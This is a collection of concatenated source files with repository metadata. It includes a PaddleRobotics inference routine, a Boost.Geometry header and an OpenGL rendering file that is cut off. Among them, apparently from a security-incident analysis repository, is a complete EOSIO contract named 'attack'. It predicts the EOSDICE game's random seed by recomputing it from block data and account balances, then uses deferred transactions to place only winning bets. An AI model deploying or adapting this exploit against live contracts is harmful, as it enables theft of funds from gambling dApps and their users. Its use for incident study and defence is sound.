predictor\" << endl;\n\n  paddle::AnalysisConfig visualTokenizerCfg;\n  paddle::PrepareTRTConfig(&visualTokenizerCfg, \"visual_tokenizer\");\n  auto visualTokenizerPredictor =\n      paddle::CreatePaddlePredictor(visualTokenizerCfg);\n  LOG(INFO) << \"Created visual tokenizer predictor\" << endl;\n\n  paddle::AnalysisConfig attnCtrlCfg;\n  paddle::PrepareTRTConfig(&attnCtrlCfg, \"attn_ctrl\");\n  auto attnCtrlPredictor = paddle::CreatePaddlePredictor(attnCtrlCfg);\n  LOG(INFO) << \"Created attention controller predictor\" << endl;\n\n#ifdef TESTCASE_ONLY // start of testcases\n  TestPreprocessImage(\"../test.jpg\");\n  TestGenerateSizeInputData();\n  TestRunDetector(\n      static_cast<paddle::PaddlePredictor *>(detectorPredictor.get()),\n      \"../test.jpg\", \"../test_neg.jpg\");\n  TestGetPosEmb();\n  TestGetVisualToken();\n  TestRunVisualTokenizer(\n      static_cast<paddle::PaddlePredictor *>(detectorPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(visualTokenizerPredictor.get()),\n      \"../test.jpg\", \"../test_neg.jpg\");\n  TestGetAttnMask();\n  TestRunAttnCtrl(\n      static_cast<paddle::PaddlePredictor *>(detectorPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(visualTokenizerPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(attnCtrlPredictor.get()),\n      \"../test.jpg\", \"../test_neg.jpg\");\n  TestPrepareMultimodalActions();\n\n#else // start of inference code\n\n// start of local mode inference\n#if !defined(SERVER_MODE) && defined(LOCAL_INFER)\n  TestVideo(\n      static_cast<paddle::PaddlePredictor *>(detectorPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(visualTokenizerPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(attnCtrlPredictor.get()),\n      FLAGS_video);\n#else // start of server mode inference\n\n  std::thread worker(\n      ProcessRequest,\n      static_cast<paddle::PaddlePredictor *>(detectorPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(visualTokenizerPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(attnCtrlPredictor.get()));\n  worker.detach();\n\n  std::thread logger(ProcessLog);\n  logger.detach();\n\n#ifdef ASYNC_INFER\n  std::thread asyncDetector(\n      AsyncRunDetector,\n      static_cast<paddle::PaddlePredictor *>(detectorPredictor.get()));\n  asyncDetector.detach();\n\n  std::thread asyncCtrl(\n      AsyncRunVTokenizerAttnCtrl,\n      static_cast<paddle::PaddlePredictor *>(visualTokenizerPredictor.get()),\n      static_cast<paddle::PaddlePredictor *>(attnCtrlPredictor.get()));\n  asyncCtrl.detach();\n#endif\n\n  RunServer();\n\n#endif // end of local or server mode inference\n\n#endif // end of inference code\n\n  return 0;\n}\n", "meta": {"hexsha": "bfe091b2dbeeac5bb1954ee101bbd0a11cf53212", "size": 62728, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "HRI/TFVT_HRI/jetson/infer_v3.cpp", "max_stars_repo_name": "WorldEditors/PaddleRobotics", "max_stars_repo_head_hexsha": "d02efd74662c6f78dfb964e8beb93f1914dcb2f3", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 146.0, "max_stars_repo_stars_event_min_datetime": "2020-12-08T11:51:38.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T12:58:43.000Z", "max_issues_repo_path": "HRI/TFVT_HRI/jetson/infer_v3.cpp", "max_issues_repo_name": "WorldEditors/PaddleRobotics", "max_issues_repo_head_hexsha": "d02efd74662c6f78dfb964e8beb93f1914dcb2f3", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 10.0, "max_issues_repo_issues_event_min_datetime": "2020-12-23T03:00:31.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-23T09:55:30.000Z", "max_forks_repo_path": "HRI/TFVT_HRI/jetson/infer_v3.cpp", "max_forks_repo_name": "WorldEditors/PaddleRobotics", "max_forks_repo_head_hexsha": "d02efd74662c6f78dfb964e8beb93f1914dcb2f3", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 43.0, "max_forks_repo_forks_event_min_datetime": "2020-12-21T09:40:39.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T06:41:32.000Z", "avg_line_length": 35.4997170345, "max_line_length": 80, "alphanum_fraction": 0.6433171789, "num_tokens": 16716, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5621765008857981, "lm_q2_score": 0.24798742624020279, "lm_q1q2_score": 0.13941270354739216}}
{"text": "// Boost.Geometry (aka GGL, Generic Geometry Library)\n\n// Copyright (c) 2007-2012 Barend Gehrels, Amsterdam, the Netherlands.\n// Copyright (c) 2008-2012 Bruno Lalande, Paris, France.\n// Copyright (c) 2009-2012 Mateusz Loskot, London, UK.\n\n// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library\n// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.\n\n// Use, modification and distribution is subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef BOOST_GEOMETRY_EXTENSIONS_GIS_LATLONG_HPP\n#define BOOST_GEOMETRY_EXTENSIONS_GIS_LATLONG_HPP\n\n\n#include <boost/geometry/geometries/geometries.hpp>\n#include <boost/geometry/extensions/gis/latlong/point_ll.hpp>\n\n\n#include <boost/geometry/extensions/gis/geographic/strategies/andoyer.hpp>\n#include <boost/geometry/extensions/gis/geographic/strategies/vincenty.hpp>\n#include <boost/geometry/extensions/gis/geographic/strategies/distance_cross_track.hpp>\n\nnamespace boost { namespace geometry\n{\n\n/*\nDEPRECATED\nnamespace model\n{\n\ntypedef point_ll<double, cs::geographic<degree> > point_ll_deg;\ntypedef linestring<point_ll_deg> linestring_ll_deg;\ntypedef linear_ring<point_ll_deg> ring_ll_deg;\ntypedef polygon<point_ll_deg> polygon_ll_deg;\ntypedef box<point_ll_deg> box_ll_deg;\ntypedef segment<point_ll_deg> segment_ll_deg;\n\ntypedef point_ll<double, cs::geographic<radian> > point_ll_rad;\ntypedef linestring<point_ll_rad> linestring_ll_rad;\ntypedef linear_ring<point_ll_rad> ring_ll_rad;\ntypedef polygon<point_ll_rad> polygon_ll_rad;\ntypedef box<point_ll_rad> box_ll_rad;\ntypedef segment<point_ll_rad> segment_ll_rad;\n\n} // namespace model\n*/\n\n}} // namespace boost::geometry\n\n\n#endif // BOOST_GEOMETRY_EXTENSIONS_GIS_LATLONG_HPP\n", "meta": {"hexsha": "4b354cac09ee44a60ee0a865c1e944563ff27006", "size": 1810, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "boost/geometry/extensions/gis/latlong/latlong.hpp", "max_stars_repo_name": "ballisticwhisper/boost", "max_stars_repo_head_hexsha": "f72119ab640b564c4b983bd457457046b52af9ee", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2015-01-02T14:24:56.000Z", "max_stars_repo_stars_event_max_datetime": "2015-01-02T14:25:17.000Z", "max_issues_repo_path": "boost/geometry/extensions/gis/latlong/latlong.hpp", "max_issues_repo_name": "ballisticwhisper/boost", "max_issues_repo_head_hexsha": "f72119ab640b564c4b983bd457457046b52af9ee", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2019-01-13T23:45:51.000Z", "max_issues_repo_issues_event_max_datetime": "2019-02-03T08:13:26.000Z", "max_forks_repo_path": "boost/geometry/extensions/gis/latlong/latlong.hpp", "max_forks_repo_name": "ballisticwhisper/boost", "max_forks_repo_head_hexsha": "f72119ab640b564c4b983bd457457046b52af9ee", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2016-05-29T13:41:15.000Z", "max_forks_repo_forks_event_max_datetime": "2016-05-29T13:41:15.000Z", "avg_line_length": 32.9090909091, "max_line_length": 87, "alphanum_fraction": 0.8082872928, "num_tokens": 459, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.2720245510940225, "lm_q1q2_score": 0.13919947968200796}}
{"text": "#include <utility>\r\n#include <vector>\r\n#include <string>\r\n#include <eosiolib/eosio.hpp>\r\n#include <eosiolib/time.hpp>\r\n#include <eosiolib/asset.hpp>\r\n#include <eosiolib/contract.hpp>\r\n#include <eosiolib/types.hpp>\r\n#include <eosiolib/transaction.hpp>\r\n#include <eosiolib/crypto.h>\r\n#include <boost/algorithm/string.hpp>\r\n#include \"eosio.token.hpp\"\r\n\r\n#define EOS_SYMBOL S(4, EOS)\r\n\r\nusing eosio::asset;\r\nusing eosio::permission_level;\r\nusing eosio::action;\r\nusing eosio::print;\r\nusing eosio::name;\r\nusing eosio::unpack_action_data;\r\nusing eosio::symbol_type;\r\nusing eosio::transaction;\r\nusing eosio::time_point_sec;\r\n\r\n\r\nclass attack : public eosio::contract {\r\n    public: \r\n        uint64_t id = 66;\r\n        attack(account_name self):eosio::contract(self)\r\n        {}\r\n\r\n        uint8_t random(account_name name, uint64_t game_id, uint64_t add)\r\n        {\r\n            auto eos_token = eosio::token(N(eosio.token));\r\n            asset pool_eos = eos_token.get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());\r\n            asset ram_eos = eos_token.get_balance(N(eosio.ram), symbol_type(S(4, EOS)).name());\r\n            asset betdiceadmin_eos = eos_token.get_balance(N(betdiceadmin), symbol_type(S(4, EOS)).name());\r\n            asset newdexpocket_eos = eos_token.get_balance(N(newdexpocket), symbol_type(S(4, EOS)).name());\r\n            asset chintailease_eos = eos_token.get_balance(N(chintailease), symbol_type(S(4, EOS)).name());\r\n            asset eosbiggame44_eos = eos_token.get_balance(N(eosbiggame44), symbol_type(S(4, EOS)).name());\r\n            asset total_eos = asset(0, EOS_SYMBOL);\r\n\r\n            total_eos = pool_eos + ram_eos + betdiceadmin_eos + newdexpocket_eos + chintailease_eos + eosbiggame44_eos;\r\n            auto amount = total_eos.amount + add;\r\n            auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + amount;\r\n            print(\"[ATTACK RANDOM]tapos_block_prefix=>\",(uint64_t)tapos_block_prefix(),\"|tapos_block_num=>\",(uint64_t)tapos_block_num(),\"|name=>\",name,\"|game_id=>\",game_id,\"|current_time=>\",current_time(),\"|total=>\",amount,\"\\n\");\r\n        \r\n            const char *mixedChar = reinterpret_cast<const char *>(&mixd);\r\n\r\n            checksum256 result;\r\n            sha256((char *)mixedChar, sizeof(mixedChar), &result);\r\n\r\n            uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);\r\n            return (uint8_t)(random_num % 100 + 1);\r\n        }\r\n\r\n        //@abi action\r\n        void transfer(account_name from,account_name to,asset quantity,std::string memo)\r\n        {\r\n            // if (from == _self || to != _self)\r\n            // {\r\n            //     return;\r\n            // }\r\n            if (from == N(eosbocai2222))\r\n            {\r\n                return;\r\n            }\r\n            transaction txn{};\r\n            txn.actions.emplace_back(\r\n                action(eosio::permission_level(_self, N(active)),\r\n                    _self,\r\n                    N(reveal1),\r\n                    std::make_tuple(id)\r\n                )\r\n            );\r\n            txn.delay_sec = 2;\r\n            txn.send(now(), _self, false);\r\n\r\n            print(\"[ATTACK] current_time => \", current_time(), \"\\n\");\r\n        }\r\n\r\n        //@abi action\r\n        void reveal1(uint64_t id)\r\n        {\r\n            transaction txn{};\r\n            txn.actions.emplace_back(\r\n                action(eosio::permission_level(_self, N(active)),\r\n                    _self,\r\n                    N(reveal2),\r\n                    std::make_tuple(id)\r\n                )\r\n            );\r\n            txn.delay_sec = 2;\r\n            txn.send(now(), _self, false);\r\n            print(\"[ATTACK REVEAL1] current_time => \", current_time(), \"\\n\");\r\n        }\r\n\r\n        //@abi action\r\n        void reveal2(uint64_t id)\r\n        {\r\n            std::string memo = \"noneage\";\r\n            print(\"[ATTACK REVEAL2] current_time => \", current_time(), \"\\n\");\r\n        \r\n            for(int i=0;i<=100;i++)\r\n            {\r\n                uint8_t r = random(_self, 87, i);\r\n                if((uint64_t)r < 6)\r\n                {\r\n                    print(\"[PREDICT RANDOM] random = \", (uint64_t)r, \"\\n\");\r\n                    if(i > 0)\r\n                    {\r\n                        action(permission_level(_self, N(active)),\r\n                            N(eosio.token),\r\n                            N(transfer),\r\n                            std::make_tuple(_self, N(eosbiggame44), asset(i, EOS_SYMBOL), memo))\r\n                        .send();\r\n                    }\r\n                    break;\r\n                }\r\n            } \r\n        }   \r\n};\r\n\r\n#define EOSIO_ABI_EX( TYPE, MEMBERS ) \\\r\nextern \"C\" { \\\r\n   void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \\\r\n      auto self = receiver; \\\r\n      if( code == self || code == N(eosio.token)) { \\\r\n         if( action == N(transfer)){ \\\r\n                eosio_assert( code == N(eosio.token), \"Must transfer EOS\"); \\\r\n         } \\\r\n         TYPE thiscontract( self ); \\\r\n         switch( action ) { \\\r\n            EOSIO_API( TYPE, MEMBERS ) \\\r\n         } \\\r\n         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \\\r\n      } \\\r\n   } \\\r\n}\r\n\r\nEOSIO_ABI_EX( attack,\r\n        (transfer)(reveal1)(reveal2)\r\n)", "meta": {"hexsha": "14db04b696dce23ccc0f9bdb252ec9ef868eef89", "size": 5358, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "NoneAge-20181110-EOSDICE-predictable-random-seed/attack/attack.cpp", "max_stars_repo_name": "NoneAge/EOS_dApp_Security_Incident_Analysis", "max_stars_repo_head_hexsha": "dd41779e4e7698dfc08fc11a9752899c3661c583", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 17.0, "max_stars_repo_stars_event_min_datetime": "2019-02-26T20:29:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-02T10:54:16.000Z", "max_issues_repo_path": "NoneAge-20181110-EOSDICE-predictable-random-seed/attack/attack.cpp", "max_issues_repo_name": "NoneAge/EOS_dApp_Security_Incident_Analysis", "max_issues_repo_head_hexsha": "dd41779e4e7698dfc08fc11a9752899c3661c583", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "NoneAge-20181110-EOSDICE-predictable-random-seed/attack/attack.cpp", "max_forks_repo_name": "NoneAge/EOS_dApp_Security_Incident_Analysis", "max_forks_repo_head_hexsha": "dd41779e4e7698dfc08fc11a9752899c3661c583", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2020-05-14T04:29:32.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-24T02:40:20.000Z", "avg_line_length": 37.2083333333, "max_line_length": 230, "alphanum_fraction": 0.5203434117, "num_tokens": 1277, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.2658804672827599, "lm_q1q2_score": 0.13916724696049507}}
{"text": "#include <Eigen/Dense>\n#include <Eigen/Geometry>\n#include <array>\n#include <cmath>\n#include <cstdlib>\n#include <lodepng.h>\n#include <memory>\n#include <robot_design/render.h>\n#include <stdexcept>\n#include <string>\n#include <vector>\n\nnamespace robot_design {\n\nconst VertexAttribute ATTRIB_POSITION(0, \"model_position\");\nconst VertexAttribute ATTRIB_NORMAL(1, \"model_normal\");\nconst VertexAttribute ATTRIB_TEX_COORD(2, \"model_tex_coord\");\n\nProgram::Program(const std::string &vertex_shader_source,\n                 const std::string &fragment_shader_source)\n    : program_(0), vertex_shader_(0), fragment_shader_(0) {\n  // Create vertex shader\n  vertex_shader_ = glCreateShader(GL_VERTEX_SHADER);\n  const GLchar *vertex_shader_source_ptr = vertex_shader_source.c_str();\n  glShaderSource(vertex_shader_, 1, &vertex_shader_source_ptr, NULL);\n  glCompileShader(vertex_shader_);\n  // Check for compile errors\n  GLint status;\n  glGetShaderiv(vertex_shader_, GL_COMPILE_STATUS, &status);\n  if (!status) {\n    char buffer[512];\n    glGetShaderInfoLog(vertex_shader_, sizeof(buffer), NULL, buffer);\n    throw std::runtime_error(std::string(\"Failed to compile vertex shader: \") +\n                             buffer);\n  }\n\n  // Create fragment shader\n  // Fragment shader is optional (source may be an empty string)\n  if (!fragment_shader_source.empty()) {\n    fragment_shader_ = glCreateShader(GL_FRAGMENT_SHADER);\n    const GLchar *fragment_shader_source_ptr = fragment_shader_source.c_str();\n    glShaderSource(fragment_shader_, 1, &fragment_shader_source_ptr, NULL);\n    glCompileShader(fragment_shader_);\n    // Check for compile errors\n    glGetShaderiv(fragment_shader_, GL_COMPILE_STATUS, &status);\n    if (!status) {\n      char buffer[512];\n      glGetShaderInfoLog(fragment_shader_, sizeof(buffer), NULL, buffer);\n      throw std::runtime_error(\n          std::string(\"Failed to compile fragment shader: \") + buffer);\n    }\n  }\n\n  // Create program\n  program_ = glCreateProgram();\n  glAttachShader(program_, vertex_shader_);\n  if (fragment_shader_) {\n    glAttachShader(program_, fragment_shader_);\n  }\n\n  // Define fixed attribute indices\n  glBindAttribLocation(program_, ATTRIB_POSITION.index_,\n                       ATTRIB_POSITION.name_.c_str());\n  glBindAttribLocation(program_, ATTRIB_NORMAL.index_,\n                       ATTRIB_NORMAL.name_.c_str());\n  glBindAttribLocation(program_, ATTRIB_TEX_COORD.index_,\n                       ATTRIB_TEX_COORD.name_.c_str());\n\n  glLinkProgram(program_);\n  // Check for link errors\n  glGetProgramiv(program_, GL_LINK_STATUS, &status);\n  if (!status) {\n    char buffer[512];\n    glGetProgramInfoLog(program_, sizeof(buffer), NULL, buffer);\n    throw std::runtime_error(std::string(\"Failed to link shader program: \") +\n                             buffer);\n  }\n\n  // Find uniform indices\n  proj_matrix_index_ = glGetUniformLocation(program_, \"proj_matrix\");\n  view_matrix_index_ = glGetUniformLocation(program_, \"view_matrix\");\n  tex_coords_matrix_index_ =\n      glGetUniformLocation(program_, \"tex_coords_matrix\");\n  model_view_matrix_index_ =\n      glGetUniformLocation(program_, \"model_view_matrix\");\n  normal_matrix_index_ = glGetUniformLocation(program_, \"normal_matrix\");\n  proc_texture_type_index_ =\n      glGetUniformLocation(program_, \"proc_texture_type\");\n  object_color_index_ = glGetUniformLocation(program_, \"object_color\");\n  world_light_dir_index_ = glGetUniformLocation(program_, \"world_light_dir\");\n  light_proj_matrix_index_ =\n      glGetUniformLocation(program_, \"light_proj_matrix\");\n  light_model_view_matrices_index_ =\n      glGetUniformLocation(program_, \"light_model_view_matrices\");\n  light_color_index_ = glGetUniformLocation(program_, \"light_color\");\n  shadow_map_index_ = glGetUniformLocation(program_, \"shadow_map\");\n  msdf_index_ = glGetUniformLocation(program_, \"msdf\");\n  cascade_far_splits_index_ =\n      glGetUniformLocation(program_, \"cascade_far_splits\");\n}\n\nProgram::~Program() {\n  glDetachShader(program_, fragment_shader_);\n  glDetachShader(program_, vertex_shader_);\n  glDeleteProgram(program_);\n  glDeleteShader(fragment_shader_);\n  glDeleteShader(vertex_shader_);\n}\n\nMesh::Mesh(GLenum usage)\n    : usage_(usage), vertex_array_(0), position_buffer_(0), normal_buffer_(0),\n      tex_coord_buffer_(0), index_buffer_(0) {\n  // Create vertex array object (VAO)\n  glGenVertexArrays(1, &vertex_array_);\n}\n\nMesh::~Mesh() {\n  glDeleteBuffers(1, &index_buffer_);\n  glDeleteBuffers(1, &tex_coord_buffer_);\n  glDeleteBuffers(1, &normal_buffer_);\n  glDeleteBuffers(1, &position_buffer_);\n  glDeleteVertexArrays(1, &vertex_array_);\n}\n\nvoid Mesh::setPositions(const std::vector<GLfloat> &positions) {\n  bind();\n  if (!position_buffer_) {\n    glGenBuffers(1, &position_buffer_);\n  }\n  glBindBuffer(GL_ARRAY_BUFFER, position_buffer_);\n  glBufferData(GL_ARRAY_BUFFER, positions.size() * sizeof(positions[0]),\n               positions.data(), usage_);\n  glVertexAttribPointer(ATTRIB_POSITION.index_, 3, GL_FLOAT, GL_FALSE, 0, 0);\n  glEnableVertexAttribArray(ATTRIB_POSITION.index_);\n}\n\nvoid Mesh::setNormals(const std::vector<GLfloat> &normals) {\n  bind();\n  if (!normal_buffer_) {\n    glGenBuffers(1, &normal_buffer_);\n  }\n  glBindBuffer(GL_ARRAY_BUFFER, normal_buffer_);\n  glBufferData(GL_ARRAY_BUFFER, normals.size() * sizeof(normals[0]),\n               normals.data(), usage_);\n  glVertexAttribPointer(ATTRIB_NORMAL.index_, 3, GL_FLOAT, GL_FALSE, 0, 0);\n  glEnableVertexAttribArray(ATTRIB_NORMAL.index_);\n}\n\nvoid Mesh::setTexCoords(const std::vector<GLfloat> &tex_coords) {\n  bind();\n  if (!tex_coord_buffer_) {\n    glGenBuffers(1, &tex_coord_buffer_);\n  }\n  glBindBuffer(GL_ARRAY_BUFFER, tex_coord_buffer_);\n  glBufferData(GL_ARRAY_BUFFER, tex_coords.size() * sizeof(tex_coords[0]),\n               tex_coords.data(), usage_);\n  glVertexAttribPointer(ATTRIB_TEX_COORD.index_, 2, GL_FLOAT, GL_FALSE, 0, 0);\n  glEnableVertexAttribArray(ATTRIB_TEX_COORD.index_);\n}\n\nvoid Mesh::setIndices(const std::vector<GLint> &indices) {\n  bind();\n  if (!index_buffer_) {\n    glGenBuffers(1, &index_buffer_);\n  }\n  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, index_buffer_);\n  glBufferData(GL_ELEMENT_ARRAY_BUFFER, indices.size() * sizeof(indices[0]),\n               indices.data(), usage_);\n  index_count_ = indices.size();\n}\n\nTexture2D::Texture2D(GLenum target, GLint level, GLint internal_format,\n                     GLsizei width, GLsizei height, GLenum format, GLenum type,\n                     const GLvoid *data)\n    : target_(target), texture_(0) {\n  glGenTextures(1, &texture_);\n  glBindTexture(target, texture_);\n  glTexImage2D(target, level, internal_format, width, height, 0, format, type,\n               data);\n}\n\nTexture2D::~Texture2D() { glDeleteTextures(1, &texture_); }\n\nvoid Texture2D::setParameter(GLenum name, GLint value) const {\n  bind();\n  glTexParameteri(target_, name, value);\n}\n\nvoid Texture2D::getImage(unsigned char *pixels) const {\n  bind();\n  glGetTexImage(target_, 0, GL_RGBA, GL_UNSIGNED_BYTE, pixels);\n}\n\nTexture3D::Texture3D(GLenum target, GLint level, GLint internal_format,\n                     GLsizei width, GLsizei height, GLsizei depth,\n                     GLenum format, GLenum type, const GLvoid *data)\n    : target_(target), texture_(0) {\n  glGenTextures(1, &texture_);\n  glBindTexture(target, texture_);\n  glTexImage3D(target, level, internal_format, width, height, depth, 0, format,\n               type, data);\n}\n\nTexture3D::~Texture3D() { glDeleteTextures(1, &texture_); }\n\nvoid Texture3D::setParameter(GLenum name, GLint value) const {\n  bind();\n  glTexParameteri(target_, name, value);\n}\n\nvoid Texture3D::getImage(unsigned char *pixels) const {\n  bind();\n  glGetTexImage(target_, 0, GL_RGBA, GL_UNSIGNED_BYTE, pixels);\n}\n\nFramebuffer::Framebuffer() : framebuffer_(0) {\n  glGenFramebuffers(1, &framebuffer_);\n  glBindFramebuffer(GL_FRAMEBUFFER, framebuffer_);\n  // Necessary to make framebuffer complete without a color attachment\n  glDrawBuffer(GL_NONE);\n  glReadBuffer(GL_NONE);\n}\n\nFramebuffer::~Framebuffer() { glDeleteFramebuffers(1, &framebuffer_); }\n\nvoid Framebuffer::attachColorTexture(const Texture2D &color_texture) const {\n  bind();\n  glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,\n                         color_texture.target_, color_texture.texture_, 0);\n  glDrawBuffer(GL_COLOR_ATTACHMENT0);\n  glReadBuffer(GL_COLOR_ATTACHMENT0);\n}\n\nvoid Framebuffer::attachColorTextureLayer(const Texture3D &color_texture,\n                                          GLint layer) const {\n  bind();\n  glFramebufferTextureLayer(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,\n                            color_texture.texture_, 0, layer);\n  glDrawBuffer(GL_COLOR_ATTACHMENT0);\n  glReadBuffer(GL_COLOR_ATTACHMENT0);\n}\n\nvoid Framebuffer::attachDepthTexture(const Texture2D &depth_texture) const {\n  bind();\n  glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT,\n                         depth_texture.target_, depth_texture.texture_, 0);\n}\n\nvoid Framebuffer::attachDepthTextureLayer(const Texture3D &depth_texture,\n                                          GLint layer) const {\n  bind();\n  glFramebufferTextureLayer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT,\n                            depth_texture.texture_, 0, layer);\n}\n\nEigen::Matrix4f CameraParameters::getProjMatrix() const {\n  Eigen::Matrix4f proj_matrix;\n  makePerspectiveProjection(aspect_ratio_, z_near_, z_far_, fov_, proj_matrix);\n  return proj_matrix;\n}\n\nEigen::Matrix4f CameraParameters::getViewMatrix() const {\n  Eigen::Affine3f view_transform(\n      Eigen::Translation3f(0.0f, 0.0f, -distance_) *\n      Eigen::AngleAxisf(-pitch_, Eigen::Vector3f::UnitX()) *\n      Eigen::AngleAxisf(-yaw_, Eigen::Vector3f::UnitY()) *\n      Eigen::Translation3f(-position_));\n  return view_transform.matrix();\n}\n\nDirectionalLight::DirectionalLight(const Eigen::Vector3f &color,\n                                   const Eigen::Vector3f &dir,\n                                   const Eigen::Vector3f &up, GLsizei sm_width,\n                                   GLsizei sm_height, int sm_cascade_count)\n    : color_(color), dir_(dir.normalized()), sm_width_(sm_width),\n      sm_height_(sm_height), sm_cascade_count_(sm_cascade_count) {\n  makeOrthographicProjection(/*aspect_ratio=*/1.0f, /*z_near=*/-100.0f,\n                             /*z_far=*/100.0f, /*matrix=*/proj_matrix_);\n  view_matrices_.resize(4, 4 * sm_cascade_count);\n  sm_cascade_splits_.resize(sm_cascade_count + 1);\n  Eigen::Vector3f norm_dir = dir_;\n  Eigen::Vector3f norm_up = (up - norm_dir * up.dot(norm_dir)).normalized();\n  Eigen::Matrix3f inv_view_rot_matrix;\n  // clang-format off\n  inv_view_rot_matrix << norm_up.cross(norm_dir),\n                         norm_up,\n                         norm_dir;\n  // clang-format on\n  view_rot_matrix_ = inv_view_rot_matrix.transpose();\n\n  sm_depth_array_texture_ = std::make_shared<Texture3D>(\n      GL_TEXTURE_2D_ARRAY, 0, GL_DEPTH_COMPONENT, sm_width, sm_height,\n      sm_cascade_count, GL_DEPTH_COMPONENT, GL_FLOAT);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_COMPARE_MODE,\n                                        GL_COMPARE_R_TO_TEXTURE);\n  sm_depth_array_texture_->setParameter(GL_TEXTURE_COMPARE_FUNC, GL_LEQUAL);\n  sm_framebuffer_ = std::make_shared<Framebuffer>();\n}\n\nvoid DirectionalLight::updateViewMatricesAndSplits(\n    const Eigen::Matrix4f &camera_view_matrix, float aspect_ratio, float z_near,\n    float z_far, float fov) {\n  // Calculate cascade splits in view space\n  for (int i = 0; i < sm_cascade_count_ + 1; ++i) {\n    float t = static_cast<float>(i) / sm_cascade_count_;\n    sm_cascade_splits_(i) = z_near * std::pow(z_far / z_near, t);\n  }\n\n  Eigen::Affine3f inv_camera_view_tf(camera_view_matrix.inverse());\n  // https://lxjk.github.io/2017/04/15/Calculate-Minimal-Bounding-Sphere-of-Frustum.html\n  float k =\n      std::sqrt(1.0f + aspect_ratio * aspect_ratio) * std::tan(0.5f * fov);\n  float k_sq = k * k;\n  for (int i = 0; i < sm_cascade_count_; ++i) {\n    float z_sn = sm_cascade_splits_(i);     // Near z of frustum segment\n    float z_sf = sm_cascade_splits_(i + 1); // Far z of frustum segment\n    float z_range = z_sf - z_sn;\n    float z_sum = z_sf + z_sn;\n    // Find a bounding sphere in view space\n    Eigen::Vector3f center;\n    float radius;\n    if (k_sq >= z_range / z_sum) {\n      center = Eigen::Vector3f{0.0f, 0.0f, -z_sf};\n      radius = z_sf * k;\n    } else {\n      center = Eigen::Vector3f{0.0f, 0.0f, -0.5f * z_sum * (1.0f + k_sq)};\n      radius = 0.5f * std::sqrt(z_range * z_range +\n                                2.0f * (z_sf * z_sf + z_sn * z_sn) * k_sq +\n                                z_sum * z_sum * k_sq * k_sq);\n    }\n    // Transform center of sphere into world space\n    Eigen::Vector3f center_world = inv_camera_view_tf * center;\n    view_matrices_.block<4, 4>(0, 4 * i) =\n        Eigen::Affine3f(Eigen::Scaling(1.0f / radius) * view_rot_matrix_ *\n                        Eigen::Translation3f(-center_world))\n            .matrix();\n  }\n}\n\nvoid ProgramState::updateUniforms(const Program &program) {\n  if (proj_matrix_.dirty_) {\n    program.setProjectionMatrix(proj_matrix_.value_);\n  }\n  if (view_matrix_.dirty_) {\n    program.setViewMatrix(view_matrix_.value_);\n  }\n  if (tex_coords_matrix_.dirty_) {\n    program.setTexCoordsMatrix(tex_coords_matrix_.value_);\n  }\n  if (view_matrix_.dirty_ || model_matrix_.dirty_) {\n    Eigen::Matrix4f model_view_matrix =\n        view_matrix_.value_ * model_matrix_.value_;\n    program.setModelViewMatrix(model_view_matrix);\n    program.setNormalMatrix(\n     